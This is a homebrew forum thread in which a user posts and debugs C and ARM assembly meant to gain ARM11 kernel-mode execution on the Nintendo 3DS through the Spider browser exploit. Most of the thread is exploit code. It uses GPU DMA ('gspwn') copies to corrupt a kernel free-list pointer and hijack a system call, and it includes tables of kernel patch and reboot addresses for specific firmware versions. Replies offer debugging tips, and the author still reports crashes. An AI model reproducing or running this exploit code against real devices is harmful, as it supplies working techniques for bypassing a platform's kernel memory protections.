Kernel Mode Help

Discussion in '3DS - Homebrew Development and Emulators' started by gudenau, Mar 6, 2015.

  1. gudenau
    OP

    gudenau Never a unique idea

    Member
    3,257
    1,224
    Jul 7, 2010
    United States
    /dev/random
    I am attempting to get into arm11 kernel mode via SPIDER, but it is not working. I want my current code to reboot the console as an obvious sign that it works. The code is attacked and any help would be appreciated.
     

    Attached Files:

  2. CalebW

    CalebW Fellow Temper

    Member
    634
    154
    Jun 29, 2012
    United States
  3. zbw2000

    zbw2000 GBAtemp Fan

    Member
    350
    98
    Aug 28, 2014
    United States
    what version is your 3ds?
     
  4. gudenau
    OP

    gudenau Never a unique idea

    Member
    3,257
    1,224
    Jul 7, 2010
    United States
    /dev/random
  5. MegaSynka

    MegaSynka Member

    Newcomer
    41
    35
    Feb 2, 2015
    Your code contains global non-constant variables and as far as I know those are not permitted with spider3DSTools
     
  6. gudenau
    OP

    gudenau Never a unique idea

    Member
    3,257
    1,224
    Jul 7, 2010
    United States
    /dev/random
    Does pie break that then? Or i is it the linker?
     
  7. MegaSynka

    MegaSynka Member

    Newcomer
    41
    35
    Feb 2, 2015
    I think it has more to do with the address where the code is copied to be executed (But I don't really know). You'll have to ask yifan_lu.

    A solution is using known free heap space memory or just stack memory and pass down pointers.
     
  8. gudenau
    OP

    gudenau Never a unique idea

    Member
    3,257
    1,224
    Jul 7, 2010
    United States
    /dev/random
    This is what I have now, still crashes. :-/

    Code:
    #define START_SECTION __attribute__ ((section (".text.start"), naked))
     
    // make sure code is PIE
    #ifndef __PIE__
    #error "Must compile with -fPIE"
    #endif
     
    #define FILE_R 0x1
     
    typedef struct file_s {
        int s;
        int pos;
        int size;
    } FILE;
     
    int(*IFile_Open)(FILE *this, const short *path, int flags) = (void *)0x0022FE08;
    int(*IFile_Read)(FILE *this, unsigned int *read, void *buffer, unsigned int size) = (void *)0x001686DC;
     
    int(*svcSleepThread)(unsigned long long nanoseconds) = ((void *)0x0023FFE8);
     
    int(*GX_SetTextureCopy)(void *input_buffer, void *output_buffer, unsigned int size, int in_x, int in_y, int out_x, int out_y, int flags) = ((void *)0x0011DD48);
    int(*GSPGPU_FlushDataCache)(void *addr, unsigned int len) = ((void *)0x00191504);
     
    //int(*svcControlMemory)(void **outaddr, unsigned int addr0, unsigned int addr1, unsigned int size, int operation, int permissions) = ((void *)0x001431A0);
    int svcControlMemory(unsigned int* addr_out, unsigned int addr0, unsigned int addr1, unsigned int size, int op, int perm);
     
    // Release the gpu handle that spider has
    void releaseGpu(unsigned int address);
     
    // Get version specific data
    int getVersionData(unsigned int *kernelPatchAddress, unsigned int *svcPatchAddress, unsigned int *rebootAddress);
     
    // Set-up the kernel mode environment
    int setupKernelMode(void);
     
    // Execute the function in kernel mode
    int __attribute__((naked)) executeKernelMode(int (*function)(void));
     
    // Gets called in kernel mode
    int __attribute__((naked)) kernelModeStub(void);
     
    // Gets called in kernel mode
    // Put code in here
    void kernelMode(void);
     
    void gspwnCopy(void *dest, void *source, unsigned int size, unsigned int checkValue, unsigned int checkOffset);
     
    int __attribute__((naked)) svcControlMemory(unsigned int* addr_out, unsigned int addr0, unsigned int addr1, unsigned int size, int op, int perm){
        __asm__ __volatile__(
            "push {r0, r4}\t\n"
            "ldr  r0, [sp, #0x8]\t\n"
            "ldr  r4, [sp, #0x8+0x4]\t\n"
            "svc  0x01\t\n"
            "ldr  r2, [sp], #4\t\n"
            "str  r1, [r2]\t\n"
            "ldr  r4, [sp], #4\t\n"
            "bx  lr"
        );
    }
     
    int main(void){
     
        setupKernelMode();
        executeKernelMode(kernelModeStub);
     
     
        return 0;
    }
     
    int __attribute__((naked)) executeKernelMode(int (*function)(void)){
        __asm__ (
            "svc 8\t\n"
            "bx lr\t\n"
        );
    }
     
    void kernelMode(void){
        unsigned int kernelPatchAddress    = 0;
        unsigned int svcPatchAddress    = 0;
        unsigned int rebootAddress        = 0;
        getVersionData(&kernelPatchAddress, &svcPatchAddress, &rebootAddress);
     
        int (*reboot)(int, int, int, int) = (void *)rebootAddress;
     
        reboot(0, 0, 2, 0);
    }
     
    int __attribute__((naked)) kernelModeStub(void){
        __asm__(
            "add sp, sp, #8"
        );
     
        kernelMode();
     
        __asm__(
            "movs r0, #0\t\n"
            "ldr pc, [sp], #4"
        );
    }
     
    int setupKernelMode(void){
        unsigned int kernelPatchAddress    = 0;
        unsigned int svcPatchAddress    = 0;
        unsigned int rebootAddress        = 0;
     
        if(getVersionData(&kernelPatchAddress, &svcPatchAddress, &rebootAddress) == -1){
            return -1;
        }
     
        int i;
        unsigned int tempAddress;
        unsigned int *buffer = (unsigned int *)0x18410000;
     
        unsigned int memory;
        svcControlMemory(&memory, 0, 0, 0x2000, 0x10003, 0x3);
        unsigned int freeMemory = memory + 0x1000;
     
        int (*nopFunction)(void);
     
        svcControlMemory(&tempAddress, freeMemory, 0, 0x1000, 1, 0);
     
        buffer[0] = 1;
        buffer[1] = kernelPatchAddress;
        buffer[2] = 0;
        buffer[3] = 0;
     
        gspwnCopy((void *)freeMemory, (void *)buffer, 0x10, kernelPatchAddress, 4);
        svcControlMemory(&tempAddress, memory, 0, 0x1000, 1, 0);
     
        for(i = 0; i < 0x1000; i++){
            buffer[i] = 0xE1A00000;    // nop
        }
     
        buffer[i - 1] = 0xE12FFF1E;    // arm bx lr
     
        nopFunction = (void *)0x08F02894 - 0x10000;
        gspwnCopy((void *)buffer, (void *)nopFunction, 0x10000, 0xE1A00000, 0);
     
        nopFunction();
    }
     
    int getVersionData(unsigned int *kernelPatchAddress, unsigned int *svcPatchAddress, unsigned int *rebootAddress){
        // Get kernel version
        unsigned int kernelVersion = *(unsigned int *) 0x1FF80000;
     
        if(kernelVersion == 0x02220000){
            *kernelPatchAddress    = 0xEFF83C97;
            *svcPatchAddress    = 0xEFF827CC;
            *rebootAddress        = 0xFFF748C4;
            return 0;
        }else if(kernelVersion == 0x02230600){
            *kernelPatchAddress    = 0xEFF8372F;
            *svcPatchAddress    = 0xEFF822A8;
            *rebootAddress        = 0xFFF64B94;
            return 0;
        }else if(kernelVersion == 0x02240000){
            *kernelPatchAddress    = 0xEFF8372B;
            *svcPatchAddress    = 0xEFF822A4;
            *rebootAddress        = 0xFFF64B90;
            return 0;
        }else if(kernelVersion == 0x02250000){
            *kernelPatchAddress    = 0xEFF8372B;
            *svcPatchAddress    = 0xEFF822A4;
            *rebootAddress        = 0xFFF64A78;
        }else if(kernelVersion == 0x02260000){
            *kernelPatchAddress    = 0xEFF8372B;
            *svcPatchAddress    = 0xEFF822A4;
            *rebootAddress        = 0xFFF64A78;
            return 0;
        }else if(kernelVersion == 0x02270400){
            *kernelPatchAddress    = 0xEFF8372F;
            *svcPatchAddress    = 0xEFF822A8;
            *rebootAddress        = 0xFFF64AB0;
            return 0;
        }else if(kernelVersion == 0x02280000){
            *kernelPatchAddress    = 0xEFF8372B;
            *svcPatchAddress    = 0xEFF822A4;
            *rebootAddress        = 0xFFF64AAC;
            return 0;
        }else if(kernelVersion == 0x022C0600){
            *kernelPatchAddress    = 0xDFF83767;
            *svcPatchAddress    = 0xDFF82294;
            *rebootAddress        = 0xFFF54BAC;
            return 0;
        }else if(kernelVersion == 0x022E0000){
            *kernelPatchAddress    = 0xDFF83837;
            *svcPatchAddress    = 0xDFF82290;
            *rebootAddress        = 0xFFF151C0;
            return 0;
        }
     
        return -1;
    }
     
    // 0x003DA72C
    // Thanks smealum!
    void releaseGpu(unsigned int address){
        __asm__ __volatile__ (
            "mrc p15, 0, r8, c13, c0, 3\n"
            "add r8, #0x80\n"
            "ldr r0, =0x00170000\n"
            "str r0, [r8], #4\n"
            "ldr r0, =0x003DA72C\n"
            "ldr r0, [r0]\n"
            ".word 0xEF000032\n"
        );
    }
     
    void gspwnCopy(void *dest, void *source, unsigned int size, unsigned int checkValue, unsigned int checkOffset){
        unsigned int result;
     
        do{
            GSPGPU_FlushDataCache(source, size);
            GX_SetTextureCopy(source, dest, size, 0, 0, 0, 0, 8);
            GSPGPU_FlushDataCache(dest, size);
            GX_SetTextureCopy(dest, source, size, 0, 0, 0, 0, 8);
         
            result = *(unsigned int *)(source + checkOffset);
        }while(result != checkValue);
    }
     
    int START_SECTION entryPoint(){
        __asm__ volatile(".word 0xE1A00000");
        main();
        __asm__ volatile("bx lr");
    }
     
  9. shinyquagsire23

    shinyquagsire23 SALT/Sm4sh Leak Guy

    Member
    1,962
    3,231
    Nov 18, 2012
    United States
    Las Vegas
  10. gudenau
    OP

    gudenau Never a unique idea

    Member
    3,257
    1,224
    Jul 7, 2010
    United States
    /dev/random
    Is there any good way to debug my code?
     
  11. gudenau
    OP

    gudenau Never a unique idea

    Member
    3,257
    1,224
    Jul 7, 2010
    United States
    /dev/random
    Better:
    [​IMG]

    EDIT:
    It seems as though 0xFFF151C0 is not a reboot address, hrm...


    Code:
    /*
     
        Thanks a bunch for most of this yifanlu!
        https://github.com/yifanlu/Spider3DSTools/blob/arm11-kernel-research/code.c
     
    */
     
    #define START_SECTION __attribute__ ((section (".text.start"), naked))
     
    // make sure code is PIE
    #ifndef __PIE__
    #error "Must compile with -fPIE"
    #endif
     
    int (*IFile_Open)
            (void *this, const short *path, int flags)
            = (void *)0x0022FE08;
    int (*IFile_Write)
            (void *this, unsigned int *written, void *src, unsigned int len)
            = (void *)0x00168764;
    int (*memcpy)
            (void *dst, const void *src, unsigned int len)
            = (void *)0x0023FF9C;
    int (*GX_SetTextureCopy)
            (void *input_buffer, void *output_buffer, unsigned int size, int in_x, int in_y, int out_x, int out_y, int flags)
            = (void *)0x0011DD48;
    int (*GSPGPU_FlushDataCache)
            (void *addr, unsigned int len)
            = (void *)0x00191504;
    int (*svcSleepThread)
            (unsigned long long nanoseconds)
            = (void *)0x0023FFE8;
    int (*svcControlMemory)
            (void **outaddr, unsigned int addr0, unsigned int addr1, unsigned int size, int operation, int permissions)
            = (void *)0x001431A0;
     
    int                main();
    unsigned int    getKernelVersion(void);
    int                getArm11KernelPatchAddress(void);
    int                getArm11RebootAddress(void);
    void            fillScreens(char red, char green, char blue);
     
    int START_SECTION entryPoint() {
        __asm__ volatile(
            ".word 0xE1A00000"
        );
       
        main();
       
        __asm__ volatile(
            "bx lr"
        );
    }
     
    int gspwnCopy(void *dst, void *src, unsigned int len, unsigned int check_val, int check_off){
        unsigned int result;
       
        do{
            memcpy((void *)0x18401000, (void *)0x18401000, 0x10000);
            GSPGPU_FlushDataCache(src, len);
            GX_SetTextureCopy(src, dst, len, 0, 0, 0, 0, 8);
            GSPGPU_FlushDataCache((void *)0x18401000, 16);
            GX_SetTextureCopy(dst, (void *)0x18401000, 0x40, 0, 0, 0, 0, 8);
            memcpy((void *)0x18401000, (void *)0x18401000, 0x10000);
            result = *(unsigned int *)(0x18401000 + check_off);
        }while(result != check_val);
       
        return 0;
    }
     
    int arm11KernelSetup(void){
        unsigned int patchAddress;
        unsigned int *buffer;
        int i;
        int (*nopFunction)(void);
       
        // part 1: corrupt kernel memory
        buffer = (int *)0x18402000;
        // 0xFFFFFE0 is just stack memory for scratch space
        svcControlMemory((void *)0xFFFFFE0, 0x18451000, 0, 0x1000, 1, 0); // free page
        patchAddress = 0xDFF83837;//TODO getArm11KernelPatchAddress();
       
        if(patchAddress == 0){
            return 1;
        }
       
        buffer[0] = 1;
        buffer[1] = patchAddress;
        buffer[2] = 0;
        buffer[3] = 0;
        // overwrite free pointer
        gspwnCopy((void *)0x18451000, buffer, 0x10u, patchAddress, 4);
        // trigger write to kernel
        svcControlMemory((void *)0xFFFFFE0, 0x18450000, 0, 0x1000, 1, 0);
       
        // part 2: obfuscation or trick to clear code cache
        for(i = 0; i < 0x1000; i++){
            buffer[i] = 0xE1A00000; // ARM NOP instruction
        }
        buffer[i-1] = 0xE12FFF1E; // ARM BX LR instruction
        nopFunction = (void *)(0x009D2000 - 0x10000); // 0x10000 below current code
        gspwnCopy((void *)(0x19592000 - 0x10000), buffer, 0x10000, 0xE1A00000, 0);
        nopFunction();
       
        return 0;
    }
     
    // after running setup, run this to execute func in ARM11 kernel mode
    int __attribute__((naked)) arm11KernelExecute(int (*func)(void)){
        __asm__(
            "svc 8\t\n" // CreateThread syscall, corrupted, args not needed
            "bx lr\t\n"
        );
    }
     
    void invalidateInstructionCache(void){
        __asm__(
            "mcr p15,0,%0,c7,c5,0\t\n"
            "mcr p15,0,%0,c7,c5,4\t\n"
            "mcr p15,0,%0,c7,c5,6\t\n"
            "mcr p15,0,%0,c7,c10,4\t\n"
            :: "r" (0)
        );
    }
     
    void invalidateDataCache(void) {
        __asm__(
            "mcr p15,0,%0,c7,c14,0\t\n"
            "mcr p15,0,%0,c7,c10,4\t\n"
            :: "r" (0)
        );
    }
     
    void invalidateCache(void) {
        __asm__(
            "mcr p15,0,%0,c8,c5,0\t\n"
            "mcr p15,0,%0,c8,c6,0\t\n"
            "mcr p15,0,%0,c8,c7,0\t\n"
            "mcr p15,0,%0,c7,c10,4\t\n"
            :: "r" (0)
        );
    }
     
     
     
    int __attribute__((noinline)) arm11Kernel(void){
        int i;
       
        __asm__ volatile(
            "clrex"
        );
       
        // fix up memory
        *(int *)0xDFF8383F = 0x8DD00CE5;
        invalidateInstructionCache();
        invalidateCache();
       
        fillScreens(0xFF, 0x00, 0x00);
       
        //memcpy((void *)0xD848F000, (void *)0xFFF00000, 0x00038400);
        //memcpy((void *)0xD84C7800, (void *)0xFFF00000, 0x00038400);
        //memcpy((void *)0xE4410000, (void *)0xFFFF0000, 0x1000);
        invalidateDataCache();
       
        int (*reboot)(int, int, int, int);
       
        // If we are this far, we do not need to check this!
        reboot = 0xFFF151C0;//TODO (void *)getArm11RebootAddress();
       
        fillScreens(0x00, 0x00, 0xFF);
        // Time to reboot!
        reboot(0, 0, 2, 0);
        fillScreens(0x00, 0xFF, 0x00);
       
        return 0;
    }
     
    int __attribute__((naked)) arm11KernelStub(void){
        __asm__(
            "add sp, sp, #8\t\n"
        );
       
        arm11Kernel();
       
        __asm__(
            "movs r0, #0\t\n"
            "ldr pc, [sp], #4\t\n"
        );
    }
     
    int main(){
        if(arm11KernelSetup() != 0){
            return 1;
        }
       
        arm11KernelExecute(arm11KernelStub);
       
        return 0;
    }
     
    void fillScreens(char red, char blue, char green){
        int i;
        for(i = 0; i < 320*240*3; i += 3){
            ((char *)0xD848F000)[i] = green;
            ((char *)0xD848F000)[i+1] = blue;
            ((char *)0xD848F000)[i+2] = red;
           
            ((char *)0xD84C7800)[i] = green;
            ((char *)0xD84C7800)[i+1] = blue;
            ((char *)0xD84C7800)[i+2] = red;
        }
    }
     
     
     
     
    // Version stuff
     
    unsigned int getKernelVersion(void){
        return *(unsigned int *) 0x1FF80000;
    }
     
    int getArm11KernelPatchAddress(void){
        unsigned int kernelVersion;
       
        kernelVersion = getKernelVersion();
       
        switch(kernelVersion){
            case 0x02220000:
                return 0xEFF83C97;
               
            case 0x02230600:
                return 0xEFF8372F;
               
            case 0x02240000:
            case 0x02250000:
            case 0x02260000:
            case 0x02280000:
                return 0xEFF8372B;
               
            case 0x02270400:
                return 0xEFF8372F;
               
            case 0x022C0600:
                return 0xDFF83767;
               
            case 0x022E0000:
                return 0xDFF83837;
               
            default:
                return 0;
        }
    }
     
    int getArm11RebootAddress(void){
        unsigned int kernelVersion;
       
        kernelVersion = getKernelVersion();
       
        switch(kernelVersion){
            case 0x02220000:
                return 0xFFF748C4;
               
            case 0x02230600:
                return 0xFFF64B94;
               
            case 0x02240000:
                return 0xFFF64B90;
               
            case 0x02250000:
            case 0x02260000:
                return 0xFFF64A78;
               
            case 0x02270400:
                return 0xFFF64AB0;
               
            case 0x02280000:
                return 0xFFF64AAC;
               
            case 0x022C0600:
                return 0xFFF54BAC;
               
            case 0x022E0000:
                return 0xFFF151C0;
               
            default:
                return 0;
        }
    }
     
  12. gudenau
    OP

    gudenau Never a unique idea

    Member
    3,257
    1,224
    Jul 7, 2010
    United States
    /dev/random
    Is 0xFFF151C0 the reboot address for 9.2? It gets to that then crashes...
     
  13. shinyquagsire23

    shinyquagsire23 SALT/Sm4sh Leak Guy

    Member
    1,962
    3,231
    Nov 18, 2012
    United States
    Las Vegas
    It won't reboot unless a particular offset is patched. And also the reboot offset is different from yifanlu's writeup.
     
  14. gudenau
    OP

    gudenau Never a unique idea

    Member
    3,257
    1,224
    Jul 7, 2010
    United States
    /dev/random
    Oh, interesting...
    I am using the 9.2 one, the 4.1 is 0xFFF748C4, correct?
     
  15. shinyquagsire23

    shinyquagsire23 SALT/Sm4sh Leak Guy

    Member
    1,962
    3,231
    Nov 18, 2012
    United States
    Las Vegas
    Your offset is right, yes. That function alone though will just crash your 3DS, one of the patches in firmlaunch hax actually allows it to reboot, and the other hooks the point where ARM9 finishes checking the offset to boot into.
     
  16. gudenau
    OP

    gudenau Never a unique idea

    Member
    3,257
    1,224
    Jul 7, 2010
    United States
    /dev/random
    So, since I have no regard for relaunching the firm I do not have to restore anything?

    Thanks for the tips, looking at yifan lu's stuff, there are a few nice tricks that gw used.

    EDIT:
    Does the MMU get reset before the ARM9 code would run? I am not to clear when the memory gets mapped.
     
  17. NewWorldOrder

    NewWorldOrder Member

    Newcomer
    34
    17
    Dec 23, 2014
    Netherlands
    -
     
    Slushie3DS likes this.